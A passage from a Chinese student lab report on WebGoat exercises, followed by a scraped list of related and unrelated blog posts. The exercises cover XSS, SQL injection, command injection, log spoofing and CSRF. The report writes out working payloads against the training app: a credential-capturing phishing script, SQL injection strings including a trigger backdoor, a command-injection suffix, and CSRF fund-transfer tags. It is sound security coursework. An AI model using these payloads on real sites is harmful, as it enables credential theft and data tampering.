实验内容

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验过程

WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;

首先下载WebGoat

wget https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar

输入java -jar webgoat-container-7.1-exec.jar命令打开WebGoat

在浏览器上对WebGoat进行访问。

地址localhost:8080/WebGoat



然后使用默认用各户guest和默认密码guest登陆

Cross-Site Scripting (XSS)

Phishing with XSS(钓鱼攻击)

search部分填写一个页面,用于钓鱼

 hljs xml" data-info=""><script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

点击search后

随便输入用户名和密码



登陆后,会发现 页面填写的信息已经被捕获并且反馈回来显示在页面上。


Stored XSS Attacks

XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。

在Title中随便输入

在Message中输入<script>alert(" you have been attacked by wyhy !!");</script>

点击submit创建帖子后:

点击上面的连接,攻击成功。

Reflected XSS Attacks(反射型XSS)

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。

Injection Flaws

Command Injection

命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。

启动WebScarab。在课程页面的下拉列表中任意选择一个页面,然后点“View"



在所请求的页面处添加"&netstat -an & ipconfig"。然后再点击view进行查看。



查看到网络端口使用的情况和IP地址。

Numeric SQL Injection(数字型SQL注入)

在station字段中注入特征字符,能组合成新的SQL语句。

SELECT * FROM weather_data WHERE station=[station]

下面的表单允许用户查看天气数据。通过注入SQL字符串的方式查看所有的天气数据



选择一个城市,点“GO”

在编号后面添加“or 1=1”,确定



添加后点击GO,就能够看到所有城市的天气数据

日志欺骗(Log Spoofing)

这种攻击时在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

在Username输入wyhy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

如图,攻击成功。

String SQL Injection

LAB: SQL Injection(SQL注入)

Stage1:String SQL Injection

使用SQL注入绕过认证。

以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。

使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符,将8改为40



然后就可以登陆了



Stage3:Numeric SQL Injection

该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户,浏览其BOSS的账户信息。



点击ViewProfile浏览员工信息



将员工信息的value值改为101 or 1=1 order by salary desc --

这样根据工资高低的排名,老板的信息就会被排到第一个。

Database Backdoors(数据库后门)

输入101,得到了该用户的信息:



输入的语句没有验证,很容易进行SQL注入。若要执行两个语句,中间需要用分号分隔。输入注入语句101;update employee set salary=90000



使用以下查询条件,添加触发器:

101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='wyhy-1997@foxmail.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection(数字型盲注入)

目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int,整型。

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin数值是否大于10000

一直尝试 5000、2500,到1250发现提示变为账户有效

打开BurpSuite,设置代理proxyoptions

将端口号改为5231,点击add,ok



设置浏览器的代理,打开浏览器右侧的“更多”,依次点击preference->advanced->natwork->settings,选择下图所示代理,端口号为自己刚刚设置的端口号。

当于将burpsuite当成中间服务器,每个数据包都流过它。。返回题目,点击go,返回BurpSuite,已经抓好包。



在Positions中,选择Sniper模式,在Payloads中,选择type类型为number,然后设置变化范围2250-2500,并设置步长为1,在Options中,选择Start attack开始攻击。


找到数据包大小变化的值为2364



在WebGoat中带入2364,正确。

CSRF

Cross Site Request Forgery(CSRF)

可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。



在message中输入<img src='attack?Screen=273&menu=900&transferFunds=5000' width='1' height='1'>



screen的值和menu的值是由上图得到的。然后通过宽高设置成1像素,隐藏掉这个图片。

提交后会在消息列表中看到新的消息



点击后会加载下面这条消息,达到CSRF攻击的目的

CSRF Prompt By-Pass

在Title输入:5231

在Message输入:

"attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

得到如下结果:

实验后回答问题

(1)SQL注入攻击原理,如何防御

原理:利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力。通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,最终达到欺骗服务器执行恶意的SQL命令。

防御:以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

(2)XSS攻击的原理,如何防御

原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器

执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列

表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。

防御:在表单提交或者url参数传递前,对需要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出

(3)CSRF攻击原理,如何防御

原理:CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

防御: 验证HTTP Referer字段。

在请求地址中添加token并验证。

在HTTP头中自定义属性并验证。

实验感想

最后一次实验了,真的是又长又难。首先安装WebGoat就废了很大劲,最后参考这篇博客完成安装可以使用

2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础的更多相关文章

  1. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  2. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  3. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

  4. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  5. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  6. 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...

  7. 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...

  8. 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

    2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...

  9. 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114

    Exp9 Web安全基础 目录 一.实验内容 二.基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 三.实践过程记录 3.1 注入缺 ...

随机推荐

  1. element-ui default-checked-keys 会把节点下所有子节点全部勾选解决方法

    <el-tree class="filter-tree" :data="permissionData" :props="props" ...

  2. 判断上传文件是否为excel

    1. 可以在input上传组件上添加属性accept,这样上传文件的时候,就只能选择excel文件了. <input type="file" accept="app ...

  3. DBShop后台RCE之曲线救国

    本文最早发布在朋友的公众号 黑客信徒 中,文章是自己写的 不存在抄袭  特此申明 --------------------- 前言 DBShop是一款基于ZendFramework2框架的电子商务系统 ...

  4. OpenWrt增加软件包

    变量名含义 SECTION //包的种类 CATEGORY //显示在menuconfig的哪个目录下 SUBMENU //menuconfig子目录 TITLE //简单的介绍 DESCRIPTIO ...

  5. Android NDK 学习之Android.mk

    Android.mk file syntax specification Introduction: This document describes the syntax of Android.mk  ...

  6. Redis其他数据结构

    用户日活月活怎么统计 - Redis HyperLogLog 详解 HyperLogLog 提出问题 我们先思考一个常见的业务问题:如果你负责开发维护一个大型的网站,有一天老板找产品经理要网站每个网页 ...

  7. iptables详解(6):iptables扩展模块之 state 扩展

    为了防止恶意攻击主动连接到你的主机 我们需要通过iptables的扩展模块判断报文是为了回应我们之前发出的报文还是主动向我们发送的报文 state模块可以让iptables实现 连接追踪机制 NEW表 ...

  8. 【转】provisional headers are shown 知多少

    前言 请求里面provisional headers are shown(显示临时报头) 出现的情况很多,但原因是多样的.如果你去直接匹配关键字搜索,得到的结果可能与你自己的情况大相径庭.网上大部分都 ...

  9. Luogu P1062 数列

    Luogu P1062 数列 题目说: 把所有$k$的方幂及所有有限个互不相等的$k$的方幂之和构成一个递增的序列. 这就是说,每一个$k$的方幂只能有或没有. 有为$0$,没有为$1$. 所以这些数 ...

  10. linux网络编程之进程间通信介绍

    从今天起,开始学习进程间通信相关的东东,关于socket的编程先告一段落了,在学习进程间通信之前,首先先要了解一些概念,所以,这次不开始真正的代码编写,先纯理论,理解了为之后的更深入的学习可以打下良好 ...